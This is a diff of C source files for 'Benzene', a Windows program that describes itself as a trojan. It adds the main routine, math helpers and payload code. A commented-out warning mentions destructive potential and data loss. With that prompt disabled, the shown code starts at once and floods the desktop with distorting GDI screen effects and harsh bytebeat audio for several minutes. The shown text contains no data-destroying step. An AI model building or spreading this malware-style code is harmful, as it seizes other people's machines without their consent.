+	//if (MessageBoxW(NULL, L"FINAL WARNING!!!\n\nThis Trojan has a lot of destructive potential. You will lose all of your data if you continue, and the creator will not be responsible for any of the damage caused. This is not meant to be malicious but simply for entertainment and educational purposes.\n\nAre you sure you want to continue? This is your final chance to stop this program from execution.", L"Malware alert - Benzene.exe", MB_ICONWARNING | MB_YESNO) != IDYES)
+	//	return FALSE;
+
+	Sleep(5000);
+	//CloseHandle( CreateThread( NULL, 0, ( PTHREAD_START_ROUTINE )MessageBoxThread, NULL, 0, NULL ) );
+	Sleep(1000);
+
+
+	hCursorDraw = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)CursorDraw, NULL, 0, NULL);
+
+	CreateMutexW(NULL, TRUE, L"Benzene.exe");
+
+	pAudioSequences[0] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence1,  NULL, NULL };
+	pAudioSequences[1] = (AUDIO_SEQUENCE_PARAMS){ 8000,  8000 * 30, AudioSequence2,  NULL, NULL };
+	pAudioSequences[2] = (AUDIO_SEQUENCE_PARAMS){ 8000,  8000 * 30, AudioSequence3,  NULL, NULL };
+	pAudioSequences[3] = (AUDIO_SEQUENCE_PARAMS){ 16000, 16000 * 30, AudioSequence4,  NULL, NULL };
+	pAudioSequences[4] = (AUDIO_SEQUENCE_PARAMS){ 8000,  8000 * 30, AudioSequence5,  NULL, NULL };
+	pAudioSequences[5] = (AUDIO_SEQUENCE_PARAMS){ 8000,  8000 * 30, AudioSequence6,  NULL, NULL };
+	pAudioSequences[6] = (AUDIO_SEQUENCE_PARAMS){ 12000, 12000 * 30, AudioSequence7,  NULL, NULL };
+	pAudioSequences[7] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence8,  NULL, NULL };
+	pAudioSequences[8] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence9,  NULL, NULL };
+	pAudioSequences[9] = (AUDIO_SEQUENCE_PARAMS){ 8000,  8000 * 30, AudioSequence10, NULL, NULL };
+	pAudioSequences[10] = (AUDIO_SEQUENCE_PARAMS){ 8000,  8000 * 30, AudioSequence11, NULL, NULL };
+	pAudioSequences[11] = (AUDIO_SEQUENCE_PARAMS){ 8000,  8000 * 30, AudioSequence12, NULL, NULL };
+	pAudioSequences[12] = (AUDIO_SEQUENCE_PARAMS){ 16000, 16000 * 30, AudioSequence13, NULL, NULL };
+	pAudioSequences[13] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence14, NULL, NULL };
+	pAudioSequences[14] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence15, NULL, NULL };
+	pAudioSequences[15] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence16, NULL, NULL };
+	pAudioSequences[16] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence17, NULL, NULL };
+	pAudioSequences[17] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence18, NULL, NULL };
+	pAudioSequences[24] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, FinalAudioSequence, NULL, NULL };
+
+
+	pGdiShaders[0] = (GDI_SHADER_PARAMS){ GdiShader1,  NULL,          PostGdiShader1 };
+	pGdiShaders[1] = (GDI_SHADER_PARAMS){ GdiShader2,  NULL,          PostGdiShader2 };
+	pGdiShaders[2] = (GDI_SHADER_PARAMS){ GdiShader3,  NULL,          PostGdiShader3 };
+	pGdiShaders[3] = (GDI_SHADER_PARAMS){ GdiShader4,  NULL,          PostGdiShader2 };
+	pGdiShaders[4] = (GDI_SHADER_PARAMS){ GdiShader5,  NULL,          PostGdiShader4 };
+	pGdiShaders[5] = (GDI_SHADER_PARAMS){ GdiShader6,  NULL,          PostGdiShader2 };
+	pGdiShaders[6] = (GDI_SHADER_PARAMS){ GdiShader7,  NULL,          PostGdiShader5 };
+	pGdiShaders[7] = (GDI_SHADER_PARAMS){ GdiShader8,  PreGdiShader1, PostGdiShader6 };
+	pGdiShaders[8] = (GDI_SHADER_PARAMS){ GdiShader9,  NULL,          NULL };
+	pGdiShaders[9] = (GDI_SHADER_PARAMS){ GdiShader10, NULL,          NULL };
+	pGdiShaders[10] = (GDI_SHADER_PARAMS){ GdiShader11, NULL,          NULL };
+	pGdiShaders[11] = (GDI_SHADER_PARAMS){ GdiShader12, NULL,          NULL };
+	pGdiShaders[12] = (GDI_SHADER_PARAMS){ GdiShader13, NULL,          NULL };
+	pGdiShaders[13] = (GDI_SHADER_PARAMS){ GdiShader14, NULL,          PostGdiShader2 };
+	pGdiShaders[14] = (GDI_SHADER_PARAMS){ GdiShader15, NULL,          NULL };
+	pGdiShaders[15] = (GDI_SHADER_PARAMS){ GdiShader16, NULL,          NULL };
+	pGdiShaders[16] = (GDI_SHADER_PARAMS){ GdiShader17, NULL,          NULL };
+	pGdiShaders[17] = (GDI_SHADER_PARAMS){ GdiShader18, NULL,          NULL };
+	pGdiShaders[18] = (GDI_SHADER_PARAMS){ GdiShader19, NULL,          NULL };
+	pGdiShaders[19] = (GDI_SHADER_PARAMS){ GdiShader20, NULL,          PostGdiShader2 };
+	pGdiShaders[20] = (GDI_SHADER_PARAMS){ GdiShader21, NULL,          PostGdiShader2 };
+	pGdiShaders[21] = (GDI_SHADER_PARAMS){ GdiShader22, NULL,          PostGdiShader3 };
+	pGdiShaders[22] = (GDI_SHADER_PARAMS){ GdiShader23 , NULL, NULL };
+	pGdiShaders[23] = (GDI_SHADER_PARAMS){ GdiShader24 , NULL, NULL };
+	pGdiShaders[24] = (GDI_SHADER_PARAMS){ FinalGdiShader, NULL, NULL };
+
+	hAudioThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)AudioPayloadThread, NULL, 0, NULL);
+
+	for (;; )
+	{
+		hGdiThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)GdiShaderThread, &pGdiShaders[Xorshift32() % 24], 0, NULL);
+		WaitForSingleObject(hGdiThread, (Xorshift32() % 3) ? PAYLOAD_MS : ((Xorshift32() % 5) * (PAYLOAD_MS / 4)));
+		CloseHandle(hGdiThread);
+
+		if (nCounter >= ((240 * 1000) / TIMER_DELAY))
+		{
+			break;
+		}
+	}
+
+	TerminateThread(hAudioThread, 0);
+	CloseHandle(hAudioThread);
+
+	TerminateThread(hCursorDraw, 0);
+	CloseHandle(hCursorDraw);
+
+	CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)GdiShaderThread, &pGdiShaders[24], 0, NULL));
+	CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)AudioSequenceThread, &pAudioSequences[24], 0, NULL));
+
+	for (;; )
+	{
+		ExitProcess(0);
+	}
+}

src/Benzene-main/Clean/Benzene/math.c

@@ -0,0 +1,59 @@
+#include "benzene.h"
+
+DWORD xs;
+static FLOAT pfSinVals[ 4096 ];
+
+VOID
+SeedXorshift32(
+	_In_ DWORD dwSeed
+)
+{
+	xs = dwSeed;
+}
+
+DWORD
+Xorshift32( VOID )
+{
+	xs ^= xs << 13;
+	xs ^= xs >> 17;
+	xs ^= xs << 5;
+	return xs;
+}
+
+VOID
+Reflect2D(
+	_Inout_ PINT x,
+	_Inout_ PINT y,
+	_In_ INT w,
+	_In_ INT h
+)
+{
+#define FUNCTION(v, maxv) ( abs( v ) / ( maxv ) % 2 ? ( maxv ) - abs( v ) % ( maxv ) : abs( v ) % ( maxv ) );
+	*x = FUNCTION( *x, w - 1 );
+	*y = FUNCTION( *y, h - 1 );
+#undef FUNCTION
+}
+
+FLOAT
+FastSine(
+	_In_ FLOAT f
+)
+{
+	INT i = ( INT )( f / ( 2.f * PI ) * ( FLOAT )_countof( pfSinVals ) );
+	return pfSinVals[ i % _countof( pfSinVals ) ];
+}
+
+FLOAT
+FastCosine(
+	_In_ FLOAT f
+)
+{
+	return FastSine( f + PI / 2.f );
+}
+
+VOID
+InitializeSine( VOID )
+{
+	for ( INT i = 0; i < _countof( pfSinVals ); i++ )
+		pfSinVals[ i ] = sinf( ( FLOAT )i / ( FLOAT )_countof( pfSinVals ) * PI * 2.f );
+}

src/Benzene-main/Clean/Benzene/math.h

@@ -0,0 +1,33 @@
+#pragma once
+#include "benzene.h"
+
+#define PI 3.141592f
+
+VOID
+SeedXorshift32(
+	_In_ DWORD dwSeed
+);
+
+DWORD
+Xorshift32( VOID );
+
+VOID
+Reflect2D(
+	_Inout_ PINT x,
+	_Inout_ PINT y,
+	_In_ INT w,
+	_In_ INT h
+);
+
+VOID
+InitializeSine( VOID );
+
+FLOAT
+FastSine(
+	_In_ FLOAT f
+);
+
+FLOAT
+FastCosine(
+	_In_ FLOAT f
+);

src/Benzene-main/Clean/Benzene/payloads.c

@@ -0,0 +1,1918 @@
+#include "benzene.h"
+
+VOID
+WINAPI
+AudioPayloadThread(VOID)
+{
+	for (;; )
+	{
+		INT piOrder[SYNTH_LENGTH];
+		INT nRandIndex;
+		INT nNumber;
+
+		for (INT i = 0; i < SYNTH_LENGTH; i++)
+		{
+			piOrder[i] = i;
+		}
+
+		for (INT i = 0; i < SYNTH_LENGTH; i++)
+		{
+			nRandIndex = Xorshift32() % 18;
+			nNumber = piOrder[nRandIndex];
+			piOrder[nRandIndex] = piOrder[i];
+			piOrder[i] = nNumber;
+		}
+
+		for (INT i = 0; i < SYNTH_LENGTH; i++)
+		{
+			ExecuteAudioSequence(
+				pAudioSequences[i].nSamplesPerSec,
+				pAudioSequences[i].nSampleCount,
+				pAudioSequences[i].pAudioSequence,
+				pAudioSequences[i].pPreAudioOp,
+				pAudioSequences[i].pPostAudioOp);
+		}
+	}
+}
+
+VOID
+WINAPI
+AudioSequenceThread(
+	_In_ PAUDIO_SEQUENCE_PARAMS pAudioParams
+)
+{
+	ExecuteAudioSequence(
+		pAudioParams->nSamplesPerSec,
+		pAudioParams->nSampleCount,
+		pAudioParams->pAudioSequence,
+		pAudioParams->pPreAudioOp,
+		pAudioParams->pPostAudioOp);
+}
+
+VOID
+WINAPI
+ExecuteAudioSequence(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_In_ AUDIO_SEQUENCE pAudioSequence,
+	_In_opt_ AUDIOSEQUENCE_OPERATION pPreAudioOp,
+	_In_opt_ AUDIOSEQUENCE_OPERATION pPostAudioOp
+)
+{
+	HANDLE hHeap = GetProcessHeap();
+	PSHORT psSamples = HeapAlloc(hHeap, 0, nSampleCount * 2);
+	WAVEFORMATEX waveFormat = { WAVE_FORMAT_PCM, 1, nSamplesPerSec, nSamplesPerSec * 2, 2, 16, 0 };
+	WAVEHDR waveHdr = { (PCHAR)psSamples, nSampleCount * 2, 0, 0, 0, 0, NULL, 0 };
+	HWAVEOUT hWaveOut;
+	waveOutOpen(&hWaveOut, WAVE_MAPPER, &waveFormat, 0, 0, 0);
+
+	if (pPreAudioOp)
+	{
+		pPreAudioOp(nSamplesPerSec);
+	}
+
+	pAudioSequence(nSamplesPerSec, nSampleCount, psSamples);
+
+	if (pPostAudioOp)
+	{
+		pPostAudioOp(nSamplesPerSec);
+	}
+
+	waveOutPrepareHeader(hWaveOut, &waveHdr, sizeof(waveHdr));
+	waveOutWrite(hWaveOut, &waveHdr, sizeof(waveHdr));
+
+	Sleep(nSampleCount * 1000 / nSamplesPerSec);
+
+	while (!(waveHdr.dwFlags & WHDR_DONE))
+	{
+		Sleep(1);
+	}
+
+	waveOutReset(hWaveOut);
+	waveOutUnprepareHeader(hWaveOut, &waveHdr, sizeof(waveHdr));
+	HeapFree(hHeap, 0, psSamples);
+}
+
+VOID
+WINAPI
+AudioSequence1(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	for (INT t = 0; t < nSampleCount; t++)
+	{
+		INT nFreq = (INT)(FastSine((FLOAT)t / 10.f) * 10.f + 29.f);
+		FLOAT fSine = FastSine((FLOAT)t / 10.f) * (FLOAT)nSamplesPerSec;
+		psSamples[t] = (SHORT)(TriangleWave(t, nFreq, (FLOAT)nSamplesPerSec * 5.f + fSine) * (FLOAT)SHRT_MAX * .1f) +
+			(SHORT)(SquareWave(t, nFreq, nSampleCount) * (FLOAT)SHRT_MAX * .2f);
+	}
+}
+
+VOID
+WINAPI
+AudioSequence2(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	for (INT t = 0; t < nSampleCount * 2; t++)
+	{
+		BYTE bFreq = (BYTE)( t % 2 | t % 2) + (t & t >> 2) + (t * 42 & t >> 10) + ((t % ((t >> 8 | 50) + 1 | t >>0)));
+		((BYTE*)psSamples)[t] = bFreq;
+	}
+}
+
+VOID
+WINAPI
+AudioSequence3(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	INT nCubeRoot = (INT)cbrtf((FLOAT)nSampleCount) + 1;
+	for (INT z = 0; z < nCubeRoot; z++)
+	{
+		for (INT y = 0; y < nCubeRoot; y++)
+		{
+			for (INT x = 0; x < nCubeRoot; x++)
+			{
+				INT nIndex = z * nCubeRoot * nCubeRoot + y * nCubeRoot + x;
+				if (nIndex >= nSampleCount)
+					continue;
+
+				INT nFreq = (INT)((FLOAT)(y & z & x) * FastSine((FLOAT)(z * y * x) / 200.f));
+				psSamples[nIndex] =
+					(SHORT)(SquareWave(y + z * x, (nFreq % 300) + 100, nSamplesPerSec) * (FLOAT)SHRT_MAX * .5f) +
+					(SHORT)(SawtoothWave(x | z, (150 - (nFreq % 20) / 4) + 800, nSamplesPerSec) * (FLOAT)SHRT_MAX * .5f) +
+					(SHORT)(TriangleWave((FLOAT)(x & y & z) + (SquareWave(x + y, nFreq % 50, nSamplesPerSec) * nSamplesPerSec),
+						(nFreq % 50) / 10 + 500, nSamplesPerSec) * (FLOAT)SHRT_MAX * .5f);
+			}
+		}
+	}
+}
+
+VOID
+WINAPI
+AudioSequence4(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	for (INT t = 0; t < nSampleCount; t++)
+	{
+		INT nFreq = (INT)(FastSine((FLOAT)t / (2.f - t / (nSampleCount / 340))) * 10.f + 50.f);
+		psSamples[t] = (SHORT)(SquareWave(t, nFreq, nSampleCount) * (FLOAT)SHRT_MAX * .1f);
+	}
+}
+
+VOID
+WINAPI
+AudioSequence5(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	for (INT t = 0; t < nSampleCount; t++)
+	{
+		SHORT sFreq = (SHORT)(t * (t >> (t >> 1 & t)));
+		psSamples[t] = sFreq;
+	}
+}
+
+VOID
+WINAPI
+AudioSequence6(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	for (INT t = 0; t < nSampleCount * 2; t++)
+	{
+		BYTE bFreq = (BYTE)((t & ((t >> 18) + ((t >> 11) & 60))) * 100 + (((t >> 8 & t) - (t >> 3 & t >> 8 | t >> 16)) & 128));
+		((BYTE*)psSamples)[t] = bFreq;
+	}
+}
+
+VOID
+WINAPI
+AudioSequence7(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	for (INT t = 0; t < nSampleCount * 2; t++)
+	{
+		BYTE bFreq = (BYTE)(t & 5 * t | t >> 6 | (t & 32768 - 6 * t / 7 | (t & 65536 - 9 * t & 100 | -9 * (t & 100)) / 11));
+		((BYTE*)psSamples)[t] = bFreq;
+	}
+}
+
+VOID
+WINAPI
+AudioSequence8(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	SHORT sRand = (SHORT)Xorshift32();
+	for (INT t = 0; t < nSampleCount; t++)
+	{
+		INT nRand = (nSampleCount - t * 2) / 52;
+		if (nRand < 24)
+			nRand = 24;
+		if (!(Xorshift32() % nRand))
+		{
+			sRand = (SHORT)Xorshift32();
+		}
+		psSamples[t] = (SHORT)(SawtoothWave(t, sRand, nSampleCount) * (FLOAT)SHRT_MAX * .1f)
+			& ~sRand | ((SHORT)Xorshift32() >> 2) +
+			(SHORT)(SineWave(Xorshift32() % nSampleCount, nRand ^ sRand, nSampleCount) * (FLOAT)SHRT_MAX * .1f) +
+			(SHORT)(TriangleWave(t, 20, nSampleCount) * (FLOAT)SHRT_MAX);
+	}
+}
+
+VOID
+WINAPI
+AudioSequence9(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
+	for (INT y = 0; y < nSquareRoot; y++)
+	{
+		for (INT x = 0; x < nSquareRoot; x++)
+		{
+			INT nIndex = y * nSquareRoot + x;
+			if (nIndex >= nSampleCount)
+				continue;
+
+			INT nFreq = (INT)((FLOAT)(y | x) * FastSine((FLOAT)(y * x) / 10.f));
+			psSamples[nIndex] =
+				(SHORT)(SquareWave(10 & x, (nFreq % 30) + 42, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
+		}
+	}
+}
+
+VOID
+WINAPI
+AudioSequence10(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	for (INT t = 0; t < nSampleCount * 2; t++)
+	{
+		FLOAT w = powf(1.f, (FLOAT)(t >> 1 & t >> 20));
+		BYTE bFreq = (BYTE)((t << ((t >> 1 | t >> 1) ^ (t >> 13)) | (t >> 8 & t >> 1) * t >> 4) + ((t * (t >> 7 | t >> 10)) >> (t >> 18 & t)) + (t * t) / ((t ^ t >> 12) + 1) + ((1 / ((BYTE)w + 1) & t) > 1 ? (BYTE)w * t : -(BYTE)w * (t + 1)));
+		((BYTE*)psSamples)[t] = bFreq;
+	}
+}
+
+VOID
+WINAPI
+AudioSequence11(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	for (INT t = 0; t < nSampleCount * 2; t++)
+	{
+		BYTE bFreq = (BYTE)((t * ((t >> 28 & t >> 13) >> (t >> 10 & t))) + ((t * (t >> 4 & t >> 3)) >> (t >> 20 & t)));
+		((BYTE*)psSamples)[t] = bFreq;
+	}
+}
+
+VOID
+WINAPI
+AudioSequence12(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	for (INT t = 0; t < nSampleCount; t++)
+	{
+		psSamples[t] = (SHORT)(TriangleWave(__rdtsc() % 8, 1500, nSampleCount) * (FLOAT)SHRT_MAX * .3f) |
+			(SHORT)(SquareWave(__rdtsc() % 8, 1000, nSampleCount) * (FLOAT)SHRT_MAX * .3f) + (SHORT)~t + ((SHORT)t >> 2);
+	}
+}
+
+VOID
+WINAPI
+AudioSequence13(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	for (INT t = 0; t < nSampleCount; t++)
+	{
+		psSamples[t] = (SHORT)(SawtoothWave(__rdtsc() % 1500, 1500, nSampleCount) * (FLOAT)SHRT_MAX * .3f) ^
+			((SHORT)(SawtoothWave(t % 10, t % 1000, nSampleCount) * (FLOAT)SHRT_MAX * .1f) >> 8);
+	}
+}
+
+VOID
+WINAPI
+AudioSequence14(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
+	for (INT y = 0; y < nSquareRoot; y++)
+	{
+		for (INT x = 0; x < nSquareRoot; x++)
+		{
+			INT nIndex = y * nSquareRoot + x;
+			if (nIndex >= nSampleCount)
+				continue;
+
+			INT nFreq = (INT)((FLOAT)(y | x) * FastCosine((FLOAT)(y & x) / 10.f));
+			psSamples[nIndex] = (SHORT)(SineWave(y + x, (nFreq % 100) + 1000, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
+		}
+	}
+}
+
+VOID
+WINAPI
+AudioSequence15(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
+	for (INT y = 0; y < nSquareRoot; y++)
+	{
+		for (INT x = 0; x < nSquareRoot; x++)
+		{
+			INT nIndex = y * nSquareRoot + x;
+			if (nIndex >= nSampleCount)
+				continue;
+
+			INT nFreq = (INT)((FLOAT)(y - x) * FastCosine((FLOAT)(y * x) / 10.f));
+			psSamples[nIndex] = (SHORT)(SineWave(y % (x + 1), (nFreq % 100) + 100, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
+		}
+	}
+}
+
+VOID
+WINAPI
+AudioSequence16(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
+	for (INT y = 0; y < nSquareRoot; y++)
+	{
+		for (INT x = 0; x < nSquareRoot; x++)
+		{
+			INT nIndex = y * nSquareRoot + x;
+			if (nIndex >= nSampleCount)
+				continue;
+
+			INT nFreq = (INT)((FLOAT)(y ^ x) * exp(cosh(atanf((FLOAT)(y | x)) / 10.f)) * 2.f);
+			psSamples[nIndex] = (SHORT)(SineWave(y - (x % (y + 1)), (nFreq % 100) + 500, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
+		}
+	}
+}
+
+VOID
+WINAPI
+AudioSequence17(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	for (INT t = 0; t < nSampleCount; t++)
+	{
+		INT nFreq = (INT)(FastSine((FLOAT)t / 20.f) * 100.f + 50.f);
+		FLOAT fSine = FastSine((FLOAT)t / 13.f) * (FLOAT)nSamplesPerSec;
+		psSamples[t] = (SHORT)(TriangleWave(t, nFreq, (FLOAT)nSamplesPerSec * 9.f + fSine) * (FLOAT)SHRT_MAX * .50f) +
+			(SHORT)(SquareWave(t, nFreq, nSampleCount) * (FLOAT)SHRT_MAX * .10f);
+	}
+}
+
+
+VOID
+WINAPI
+AudioSequence18(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
+	for (INT y = 0; y < nSquareRoot; y++)
+	{
+		for (INT x = 0; x < nSquareRoot; x++)
+		{
+			INT nIndex = y * nSquareRoot + x;
+			if (nIndex >= nSampleCount)
+				continue;
+
+			INT nFreq = (INT)((FLOAT)(y ^ x) * exp(cosh(atanf((FLOAT)(y | x)) / 10.f)) * 2.f);
+			psSamples[nIndex] = (SHORT)(SineWave(y - (x % (y + 1)), (nFreq % 10) + 500, nSamplesPerSec) * (FLOAT)SHRT_MAX * .6f);
+		}
+	}
+}
+
+VOID
+WINAPI
+FinalAudioSequence(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+)
+{
+	UNREFERENCED_PARAMETER(nSamplesPerSec);
+
+	INT nCubeRoot = (INT)cbrtf((FLOAT)nSampleCount) + 1;
+	for (INT z = 0; z < nCubeRoot; z++)
+	{
+		for (INT y = 0; y < nCubeRoot; y++)
+		{
+			for (INT x = 0; x < nCubeRoot; x++)
+			{
+				INT nIndex = z * nCubeRoot * nCubeRoot + y * nCubeRoot + x;
+				if (nIndex >= nSampleCount)
+					continue;
+
+				INT nFreq = (INT)((FLOAT)(y & x) * sinf((FLOAT)z / (FLOAT)nCubeRoot + (FLOAT)x + (FLOAT)nCounter * (FLOAT)y) * 2.f);
+				psSamples[nIndex] = (SHORT)(SquareWave(nIndex, nFreq, nSamplesPerSec) * (FLOAT)(SHRT_MAX) * .3f);
+			}
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShaderThread(
+	_In_ PGDISHADER_PARAMS pGdiShaderParams
+)
+{
+	if (pGdiShaderParams->pGdiShader == GdiShader3)
+	{
+		nShaderThreeSeed = Xorshift32();
+	}
+
+	ExecuteGdiShader(hdcDesktop, rcScrBounds, PAYLOAD_TIME, 5, pGdiShaderParams->pGdiShader,
+		pGdiShaderParams->pPreGdiShader, pGdiShaderParams->pPostGdiShader);
+}
+
+VOID
+WINAPI
+ExecuteGdiShader(
+	_In_ HDC hdcDst,
+	_In_ RECT rcBounds,
+	_In_ INT nTime,
+	_In_ INT nDelay,
+	_In_ GDI_SHADER pGdiShader,
+	_In_opt_ GDI_SHADER_OPERATION pPreGdiShader,
+	_In_opt_ GDI_SHADER_OPERATION pPostGdiShader
+)
+{
+	BITMAPINFO bmi = { 0 };
+	PRGBQUAD prgbSrc, prgbDst;
+	HANDLE hHeap;
+	HDC hdcTemp;
+	HBITMAP hbmTemp;
+	SIZE_T nSize;
+	INT nWidth;
+	INT nHeight;
+
+	nWidth = rcBounds.right - rcBounds.left;
+	nHeight = rcBounds.bottom - rcBounds.top;
+	nSize = nWidth * nHeight * sizeof(COLORREF);
+
+	bmi.bmiHeader.biSize = sizeof(BITMAPINFO);
+	bmi.bmiHeader.biBitCount = 32;
+	bmi.bmiHeader.biPlanes = 1;
+	bmi.bmiHeader.biWidth = nWidth;
+	bmi.bmiHeader.biHeight = nHeight;
+
+	hHeap = GetProcessHeap();
+	prgbSrc = (PRGBQUAD)HeapAlloc(hHeap, 0, nSize);
+
+	hdcTemp = CreateCompatibleDC(hdcDst);
+	hbmTemp = CreateDIBSection(hdcDst, &bmi, 0, &prgbDst, NULL, 0);
+	SelectObject(hdcTemp, hbmTemp);
+
+	for (INT i = 0, j = nCounter; (j + nTime) > nCounter; i++)
+	{
+		if (pPreGdiShader == NULL)
+		{
+			BitBlt(hdcTemp, 0, 0, nWidth, nHeight, hdcDst, rcBounds.left, rcBounds.top, SRCCOPY);
+		}
+		else
+		{
+			pPreGdiShader(i, nWidth, nHeight, rcBounds, hdcDst, hdcTemp);
+		}
+
+		RtlCopyMemory(prgbSrc, prgbDst, nSize);
+
+		pGdiShader(i, nWidth, nHeight, hdcDst, hbmTemp, prgbSrc, prgbDst);
+
+		if (pPostGdiShader == NULL)
+		{
+			BitBlt(hdcDst, rcBounds.left, rcBounds.top, nWidth, nHeight, hdcTemp, 0, 0, SRCCOPY);
+		}
+		else
+		{
+			pPostGdiShader(i, nWidth, nHeight, rcBounds, hdcDst, hdcTemp);
+		}
+
+		if (nDelay)
+		{
+			Sleep(nDelay);
+		}
+	}
+
+	HeapFree(hHeap, 0, prgbSrc);
+	DeleteObject(hbmTemp);
+	DeleteDC(hdcTemp);
+}
+
+VOID
+WINAPI
+GdiShader1(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	FLOAT div = (FLOAT)t / 1.f;
+	FLOAT a = FastSine(div) * 10.f;
+	FLOAT b = FastCosine(div) * 5.f;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + (INT)a, v = y + (INT)b;
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.r += ~prgbSrc[y * w + x].r / 82;
+			rgbDst.g += ~prgbSrc[y * w + x].g / 12;
+			rgbDst.b += ~prgbSrc[y * w + x].b / 22;
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+PostGdiShader1(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ RECT rcBounds,
+	_In_ HDC hdcDst,
+	_In_ HDC hdcTemp
+)
+{
+	if (!(t % 256))
+	{
+		RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
+	}
+	else
+	{
+		BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
+	}
+}
+
+VOID
+WINAPI
+GdiShader2(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
